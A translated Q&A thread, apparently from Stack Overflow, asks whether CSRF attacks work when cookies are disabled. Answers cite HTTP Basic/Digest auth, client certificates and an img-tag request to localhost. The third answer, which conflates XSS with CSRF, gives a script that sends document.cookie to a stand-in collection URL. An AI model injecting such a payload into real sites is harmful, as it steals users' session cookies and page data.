没有Cookie可以实现CSRF吗?

时间:2010-09-17 01:24:33

标签: http cookies csrf

我已经调查了一段时间,但我没有发现任何东西来满足我的好奇心。作为用户,如果禁用cookie,是否可能成为CSRF攻击的受害者。显然,CSRF依赖于用户浏览器将带有伪造请求的用户凭证发送到合法服务器。除了IP地址,浏览器不会自动发送任何其他会话值吗?在这种情况下,只要用户可以使用禁用的cookie登录,即使在易受攻击的网站上,他们也可以安全地使用CSRF。

3 个答案:

答案 0 :(得分:4)

浏览器支持其他形式的身份验证,特别是HTTP Basic和HTTP Digest,以及SSL / TLS客户端证书。不幸的是,使用这些机制时“注销”的界面通常很差。与cookie和表单不同,停止使用凭据由浏览器控制(而不是由服务器及其cookie控制),但按钮在一般高级菜单中最多(如果存在的话)最多。

答案 1 :(得分:4)

所以,你必须问问自己,服务器如何知道另一个客户端?在大多数情况下,它是会话cookie,但也有其他方式。

考虑一个管理应用程序,该应用程序配置为仅在从localhost访问时才起作用。这里,服务器信任浏览器的IP地址。现在,如果攻击者创建了一个类似<img src="http://localhost/do/something/harmful"/>的页面,并以某种方式让管理员访问他的页面,那么您就拥有了CSRF。

其他例子包括滥用Http基本身份验证和摘要身份验证,正如Bruno已经指出的那样。

答案 2 :(得分:-3)

当然 - 只要想想受感染的网站是否没有清除HTML并且您将以下文本输入“评论”字段:

<script>
var img = document.createElement("img");
img.src = "http://example.com/collect.php?val=" + escape(document.cookie);
</script>

基本上你使用javascript来收集cookie并将值写入图像标记的URL参数中,以便在浏览器尝试加载图像时将它们传递给“坏”服务器。

当然 - 在上面的示例中,我使用的是“document.cookie”中的cookie,但是根据您的问题的精神“如果禁用了cookie”,从DOM中提取任何其他信息(隐藏输入字段)同样容易值等)并将它们通过URL发送到目标服务器。